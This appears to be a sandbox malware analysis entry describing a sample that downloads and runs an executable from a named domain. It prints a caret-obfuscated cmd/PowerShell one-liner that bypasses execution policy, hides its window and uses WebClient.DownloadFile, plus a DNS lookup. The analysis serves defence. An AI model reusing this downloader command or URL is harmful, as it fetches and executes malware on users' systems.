Technical Information
Malicious functions
Downloads and executes
- https://securityservice.press/kar.exe as %appdata%.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c "p^oW^eR^SH^eLL^.eXE^ -^eXECutIo^n^PO^lICy ByPa^Ss ^-n^op^rO^FIlE ^-W^In^DOWSTY^lE^ ^hIddEn (^nEw^-Ob^J^EcT Sy^ST^EM.nEt.WebC^liEn^T).^dOWnloaDFI^le^('https://securityserv...
Network activity
UDP
- DNS ASK se#####yservice.press
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c "p^oW^eR^SH^eLL^.eXE^ -^eXECutIo^n^PO^lICy ByPa^Ss ^-n^op^rO^FIlE ^-W^In^DOWSTY^lE^ ^hIddEn (^nEw^-Ob^J^EcT Sy^ST^EM.nEt.WebC^liEn^T).^dOWnloaDFI^le^('https://securityserv...' (with hidden window)
